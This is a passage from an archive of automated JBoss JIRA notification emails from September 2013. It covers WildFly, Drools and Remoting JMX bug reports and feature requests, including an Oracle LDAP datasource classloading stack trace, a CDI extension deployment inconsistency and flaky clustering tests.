>                      <min-pool-size>1</min-pool-size>
>                      <max-pool-size>15</max-pool-size>
>                </pool>
>                <security>
>                    <user-name>Test</user-name>
>                    <password>testPassword</password>
>               </security>
>        </datasource>
>        <drivers>
>              <driver name="oracle" module="com.oracle.jdbc6">
>                <driver-class>oracle.jdbc.driver.OracleDriver</driver-class>
>              </driver>
>              <driver name="h2" module="com.h2database.h2">
>                <xa-datasource-class>org.h2.jdbcx.JdbcDataSource</xa-datasource-class>
>              </driver>
>        </drivers>
> ++++++++++++++++
> Then while testing the DataSource the Wildfly throws the following Exception:
> +++++++++++++++++++++
> 16:47:10,498 WARN  [org.jboss.jca.core.connectionmanager.pool.strategy.OnePool] (management-handler-thread - 3) IJ000604: Throwable while attempting to get a new connection: null: javax.resource.ResourceException: Could not create connection
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:282) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.createManagedConnection(LocalManagedConnectionFactory.java:240) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.createConnectionEventListener(SemaphoreArrayListManagedConnectionPool.java:781) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.getConnection(SemaphoreArrayListManagedConnectionPool.java:344) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getSimpleConnection(AbstractPool.java:397) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getConnection(AbstractPool.java:365) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.internalTestConnection(AbstractPool.java:627) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.strategy.OnePool.testConnection(OnePool.java:89) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$TestConnectionInPool.invokeCommandOn(PoolOperations.java:143) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$1.execute(PoolOperations.java:82) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:194) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:115) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler.doExecute(ModelControllerClientOperationHandler.java:139) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler$1.execute(ModelControllerClientOperationHandler.java:108) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$2$1.doExecute(AbstractMessageHandler.java:296)
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$AsyncTaskRunner.run(AbstractMessageHandler.java:518)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [rt.jar:1.6.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [rt.jar:1.6.0_21]
> 	at java.lang.Thread.run(Thread.java:619) [rt.jar:1.6.0_21]
> 	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
> Caused by: java.sql.SQLRecoverableException: Io exception: JNDI Package failurejavax.naming.NamingException: JBAS011843: Failed instantiate InitialContextFactory com.sun.jndi.ldap.LdapCtxFactory from classloader ModuleClassLoader for Module "org.jboss.as.connector:main" from local module loader @571a75a2 (finder: local module finder @a210b5b (roots: /home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules,/home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules/system/layers/base))
> 	at oracle.jdbc.driver.SQLStateMapping.newSQLException(SQLStateMapping.java:101)
> 	at oracle.jdbc.driver.DatabaseError.newSQLException(DatabaseError.java:112)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:173)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:229)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:458)
> 	at oracle.jdbc.driver.T4CConnection.logon(T4CConnection.java:411)
> 	at oracle.jdbc.driver.PhysicalConnection.<init>(PhysicalConnection.java:490)
> 	at oracle.jdbc.driver.T4CConnection.<init>(T4CConnection.java:202)
> 	at oracle.jdbc.driver.T4CDriverExtension.getConnection(T4CDriverExtension.java:33)
> 	at oracle.jdbc.driver.OracleDriver.connect(OracleDriver.java:474)
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:254) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> ++++++++++++++++++++++

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 10:28:03 2013
From: jira-events at lists.jboss.org (Jesper Pedersen (JIRA))
Date: Thu, 12 Sep 2013 10:28:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2047) org.jboss.as.connector module
 needs sun.jdk module dependency
In-Reply-To: <JIRA.12500491.1378898552000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500491.1378898552000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500491.1378898552000.23862.1378996083887@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2047?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803917#comment-12803917 ] 

Jesper Pedersen commented on WFLY-2047:
---------------------------------------

Then it is a classloading or module dependency issue
                
> org.jboss.as.connector module needs sun.jdk module dependency
> -------------------------------------------------------------
>
>                 Key: WFLY-2047
>                 URL: https://issues.jboss.org/browse/WFLY-2047
>             Project: WildFly
>          Issue Type: Bug
>          Components: JCA
>    Affects Versions: 8.0.0.Alpha4
>         Environment: All 
>            Reporter: Jay Kumar SenSharma
>            Assignee: Jesper Pedersen
>
> If a DataSource is created as following:
> ++++++++++++++++
> 	<datasource jndi-name="java:jboss/datasources/test_pool" pool-name="test_pool" enabled="true" use-java-context="true">
>                <connection-url>jdbc:oracle:thin:@ldap://example.com:3060/test,cn=OracleA,dc=worldA</connection-url>
>                <driver>oracle</driver>
>                <pool>
>                      <min-pool-size>1</min-pool-size>
>                      <max-pool-size>15</max-pool-size>
>                </pool>
>                <security>
>                    <user-name>Test</user-name>
>                    <password>testPassword</password>
>               </security>
>        </datasource>
>        <drivers>
>              <driver name="oracle" module="com.oracle.jdbc6">
>                <driver-class>oracle.jdbc.driver.OracleDriver</driver-class>
>              </driver>
>              <driver name="h2" module="com.h2database.h2">
>                <xa-datasource-class>org.h2.jdbcx.JdbcDataSource</xa-datasource-class>
>              </driver>
>        </drivers>
> ++++++++++++++++
> Then while testing the DataSource the Wildfly throws the following Exception:
> +++++++++++++++++++++
> 16:47:10,498 WARN  [org.jboss.jca.core.connectionmanager.pool.strategy.OnePool] (management-handler-thread - 3) IJ000604: Throwable while attempting to get a new connection: null: javax.resource.ResourceException: Could not create connection
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:282) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.createManagedConnection(LocalManagedConnectionFactory.java:240) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.createConnectionEventListener(SemaphoreArrayListManagedConnectionPool.java:781) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.mcp.SemaphoreArrayListManagedConnectionPool.getConnection(SemaphoreArrayListManagedConnectionPool.java:344) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getSimpleConnection(AbstractPool.java:397) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.getConnection(AbstractPool.java:365) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.AbstractPool.internalTestConnection(AbstractPool.java:627) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.jca.core.connectionmanager.pool.strategy.OnePool.testConnection(OnePool.java:89) [ironjacamar-core-impl-1.0.17.Final.jar:1.0.17.Final]
> 	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$TestConnectionInPool.invokeCommandOn(PoolOperations.java:143) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.connector.subsystems.common.pool.PoolOperations$1.execute(PoolOperations.java:82) [jboss-as-connector-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:194) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:115) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler.doExecute(ModelControllerClientOperationHandler.java:139) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.controller.remote.ModelControllerClientOperationHandler$ExecuteRequestHandler$1.execute(ModelControllerClientOperationHandler.java:108) [jboss-as-controller-7.3.0.Final-redhat-X-SNAPSHOT.jar:7.3.0.Final-redhat-X-SNAPSHOT]
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$2$1.doExecute(AbstractMessageHandler.java:296)
> 	at org.jboss.as.protocol.mgmt.AbstractMessageHandler$AsyncTaskRunner.run(AbstractMessageHandler.java:518)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [rt.jar:1.6.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [rt.jar:1.6.0_21]
> 	at java.lang.Thread.run(Thread.java:619) [rt.jar:1.6.0_21]
> 	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
> Caused by: java.sql.SQLRecoverableException: Io exception: JNDI Package failurejavax.naming.NamingException: JBAS011843: Failed instantiate InitialContextFactory com.sun.jndi.ldap.LdapCtxFactory from classloader ModuleClassLoader for Module "org.jboss.as.connector:main" from local module loader @571a75a2 (finder: local module finder @a210b5b (roots: /home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules,/home/jsensharma/NotBackedUp/SVN_16_Jan/EAP6_Main/build_wildfly/jboss-as-7.3.0.Final-redhat-X-SNAPSHOT/modules/system/layers/base))
> 	at oracle.jdbc.driver.SQLStateMapping.newSQLException(SQLStateMapping.java:101)
> 	at oracle.jdbc.driver.DatabaseError.newSQLException(DatabaseError.java:112)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:173)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:229)
> 	at oracle.jdbc.driver.DatabaseError.throwSqlException(DatabaseError.java:458)
> 	at oracle.jdbc.driver.T4CConnection.logon(T4CConnection.java:411)
> 	at oracle.jdbc.driver.PhysicalConnection.<init>(PhysicalConnection.java:490)
> 	at oracle.jdbc.driver.T4CConnection.<init>(T4CConnection.java:202)
> 	at oracle.jdbc.driver.T4CDriverExtension.getConnection(T4CDriverExtension.java:33)
> 	at oracle.jdbc.driver.OracleDriver.connect(OracleDriver.java:474)
> 	at org.jboss.jca.adapters.jdbc.local.LocalManagedConnectionFactory.getLocalManagedConnection(LocalManagedConnectionFactory.java:254) [ironjacamar-jdbc-1.0.17.Final.jar:1.0.17.Final]
> ++++++++++++++++++++++

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 10:34:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 12 Sep 2013 10:34:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-182) Timed rules can disrupt
 other activations as they are being fired
In-Reply-To: <JIRA.12495346.1372432536000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12495346.1372432536000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12495346.1372432536000.23876.1378996443735@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-182?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803919#comment-12803919 ] 

RH Bugzilla Integration commented on DROOLS-182:
------------------------------------------------

Marek Winkler <mwinkler at redhat.com> made a comment on [bug 995198|https://bugzilla.redhat.com/show_bug.cgi?id=995198]

Verified on 5.3.1.BRMS-P04.
                
> Timed rules can disrupt other activations as they are being fired
> -----------------------------------------------------------------
>
>                 Key: DROOLS-182
>                 URL: https://issues.jboss.org/browse/DROOLS-182
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.1.Final, 6.0.0.Beta3
>            Reporter: Davide Sottara
>            Assignee: Mark Proctor
>            Priority: Blocker
>
> Timer-driven rules are executed by separated thread. One such thread may retract a fact which is being used by the (main) thread in a rule being fired. This preemption will lead to a NPE

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 10:34:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 12 Sep 2013 10:34:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-182) Timed rules can disrupt
 other activations as they are being fired
In-Reply-To: <JIRA.12495346.1372432536000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12495346.1372432536000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12495346.1372432536000.23881.1378996444017@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-182?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803920#comment-12803920 ] 

RH Bugzilla Integration commented on DROOLS-182:
------------------------------------------------

Marek Winkler <mwinkler at redhat.com> changed the Status of [bug 995198|https://bugzilla.redhat.com/show_bug.cgi?id=995198] from ON_QA to VERIFIED
                
> Timed rules can disrupt other activations as they are being fired
> -----------------------------------------------------------------
>
>                 Key: DROOLS-182
>                 URL: https://issues.jboss.org/browse/DROOLS-182
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.1.Final, 6.0.0.Beta3
>            Reporter: Davide Sottara
>            Assignee: Mark Proctor
>            Priority: Blocker
>
> Timer-driven rules are executed by separated thread. One such thread may retract a fact which is being used by the (main) thread in a rule being fired. This preemption will lead to a NPE

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 10:52:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Thu, 12 Sep 2013 10:52:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2053) JSR-115 JACC 1.5 (also known
	as MREL 3)
In-Reply-To: <JIRA.12500625.1378997404880@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500625.1378997404880@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500625.1378997404880.23939.1378997523488@jira02.app.mwc.hst.phx2.redhat.com>

David Lloyd created WFLY-2053:
---------------------------------

             Summary: JSR-115 JACC 1.5 (also known as MREL 3)
                 Key: WFLY-2053
                 URL: https://issues.jboss.org/browse/WFLY-2053
             Project: WildFly
          Issue Type: Sub-task
          Components: Security
            Reporter: David Lloyd
            Assignee: Darran Lofthouse
             Fix For: 8.0.0.Beta1


Implement the changes in the third MREL of the JACC spec.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 11:02:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 12 Sep 2013 11:02:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-101) Dynamically removing a DRL
 containing a query generates an IllegalArgumentException
In-Reply-To: <JIRA.12488797.1365439355000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12488797.1365439355000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12488797.1365439355000.23970.1378998123541@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-101?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803935#comment-12803935 ] 

RH Bugzilla Integration commented on DROOLS-101:
------------------------------------------------

Marek Winkler <mwinkler at redhat.com> made a comment on [bug 995043|https://bugzilla.redhat.com/show_bug.cgi?id=995043]

Verified on 5.3.1.BRMS-P04.
                
> Dynamically removing a DRL containing a query generates an IllegalArgumentException
> -----------------------------------------------------------------------------------
>
>                 Key: DROOLS-101
>                 URL: https://issues.jboss.org/browse/DROOLS-101
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Mario Fusco
>            Assignee: Mario Fusco
>             Fix For: 5.5.1.Final, 6.0.0.Beta2
>
>
> Dynamically removing a DRL containing a query generates an IllegalArgumentException

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 11:02:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 12 Sep 2013 11:02:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-101) Dynamically removing a DRL
 containing a query generates an IllegalArgumentException
In-Reply-To: <JIRA.12488797.1365439355000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12488797.1365439355000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12488797.1365439355000.23973.1378998123665@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-101?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803936#comment-12803936 ] 

RH Bugzilla Integration commented on DROOLS-101:
------------------------------------------------

Marek Winkler <mwinkler at redhat.com> changed the Status of [bug 995043|https://bugzilla.redhat.com/show_bug.cgi?id=995043] from ON_QA to VERIFIED
                
> Dynamically removing a DRL containing a query generates an IllegalArgumentException
> -----------------------------------------------------------------------------------
>
>                 Key: DROOLS-101
>                 URL: https://issues.jboss.org/browse/DROOLS-101
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Mario Fusco
>            Assignee: Mario Fusco
>             Fix For: 5.5.1.Final, 6.0.0.Beta2
>
>
> Dynamically removing a DRL containing a query generates an IllegalArgumentException

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 11:05:03 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Thu, 12 Sep 2013 11:05:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-69) ServerProxy's internal calls
 to MBeanServer.getClassLoader(For)() should be in a privileged block
In-Reply-To: <JIRA.12500626.1378998249667@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500626.1378998249667@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500626.1378998249667.23979.1378998303454@jira02.app.mwc.hst.phx2.redhat.com>

Kabir Khan created REMJMX-69:
--------------------------------

             Summary: ServerProxy's internal calls to MBeanServer.getClassLoader(For)() should be in a privileged block
                 Key: REMJMX-69
                 URL: https://issues.jboss.org/browse/REMJMX-69
             Project: Remoting JMX
          Issue Type: Feature Request
    Affects Versions: 2.0.0.CR1
            Reporter: Kabir Khan
            Assignee: Darran Lofthouse
             Fix For: 2.0.0.CR2


SetAttribute(s)Handler, InvokeHandler and CreateMBeanHandler call MBeanServer.getClassLoader() and MBeanServer.getClassLoaderFor() to set the correct classloder before invoking the 'real' methods on the MBeanServer. For WildFly's rbac implementation, these getClassLoader(For) methods are very strict only allowing superuser or administrator to call them. Since the function of these calls is internal for setAttribute(s), invoke, createMBean() the subject should be cleared, allowing them to be called in this 'internal' fashion. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 11:24:03 2013
From: jira-events at lists.jboss.org (=?UTF-8?Q?Ron_=C5=A0meral_=28JIRA=29?=)
Date: Thu, 12 Sep 2013 11:24:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2054) CDI portable extensions with
 missing dependencies in fields fail to deploy
In-Reply-To: <JIRA.12500630.1378999400790@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500630.1378999400790@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500630.1378999400790.24073.1378999443616@jira02.app.mwc.hst.phx2.redhat.com>

Ron ?meral created WFLY-2054:
--------------------------------

             Summary: CDI portable extensions with missing dependencies in fields fail to deploy
                 Key: WFLY-2054
                 URL: https://issues.jboss.org/browse/WFLY-2054
             Project: WildFly
          Issue Type: Bug
          Components: CDI / Weld
            Reporter: Ron ?meral
            Assignee: Stuart Douglas


The following CDI extension *fails to deploy* if Foo is not on classpath:

{code}
public class BrokenExtension implements Extension {
    private Foo foo;
}
{code}

However, if the missing dependency is not a field but a parent class as in the following, the extension is disregarded by the container, but the archive *deploys successfully*:
{code}
public class BrokenExtension extends Foo implements Extension {
}
{code}

It would be more consistent if the behaviour from the second case applied in both cases.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Thu Sep 12 11:24:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 12 Sep 2013 11:24:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1499) Clustering tests
 intermittently fail mainly because they do not clean their deployments
 properly
In-Reply-To: <JIRA.12494046.1370968424000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494046.1370968424000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494046.1370968424000.24078.1378999443838@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1499?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803944#comment-12803944 ] 

RH Bugzilla Integration commented on WFLY-1499:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 998371|https://bugzilla.redhat.com/show_bug.cgi?id=998371] from POST to ASSIGNED
                
> Clustering tests intermittently fail mainly because they do not clean their deployments properly
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1499
>                 URL: https://issues.jboss.org/browse/WFLY-1499
>             Project: WildFly
>          Issue Type: Bug
>          Components: Test Suite
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Ivo Studensky
>            Assignee: Radoslav Husar
>             Fix For: 8.0.0.Alpha4
>
>
> Almost all clustering tests from the testsuite deploys what they need to perform the test, but almost none of those tests do undeploy of their deployments. Then, if the tests are run in an unexpected order (different JVM) or if some of them fail their deployments keeps at servers and often cause a failure of subsequent tests.
> For example {{RemoteStatelessFailoverTestCase(ejb3)}} stops {{CONTAINER-1}} in the middle of a testLoadBalance method and never tries to undeploy DEPLOYMENT_1 from it. So if it hits any failure in the subsequent {{this.establishView(listener, NODES[1]);}} the {{CONTAINER-1}} will never be started up again by RemoteStatelessFailoverTestCase and hence will never be cleaned up by Arquillian which normally undeploys all deployments from the running custom containers on after-class event. And then StatefulFailoverTestCase fails with 
> {noformat}
> org.jboss.as.test.clustering.ViewChangeListenerServlet threw exception:
> java.lang.InterruptedException: Cluster 'ejb' failed to establish view [node-1/ejb] within 15000 ms.  Current view is: [node-0/ejb, node-1/ejb]
> {noformat}
> Another frequent issue with clustering tests is that they blindly deploy the same deployments manytimes which leads to duplicate deploy failures.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 12 11:26:03 2013
From: jira-events at lists.jboss.org (=?UTF-8?Q?Ron_=C5=A0meral_=28JIRA=29?=)
Date: Thu, 12 Sep 2013 11:26:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2054) CDI portable extensions with
 missing dependencies in fields fail to deploy
In-Reply-To: <JIRA.12500630.1378999400000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500630.1378999400000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500630.1378999400000.24084.1378999563582@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2054?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Ron ?meral updated WFLY-2054:
-----------------------------

    Attachment: cdi-ext-missing-dependency-reproducer.jar


The attached reproducer shows the first case. For the second, see the reproducer in https://bugzilla.redhat.com/show_bug.cgi?id=961470.
                
> CDI portable extensions with missing dependencies in fields fail to deploy
> --------------------------------------------------------------------------
>
>                 Key: WFLY-2054
>                 URL: https://issues.jboss.org/browse/WFLY-2054
>             Project: WildFly
>          Issue Type: Bug
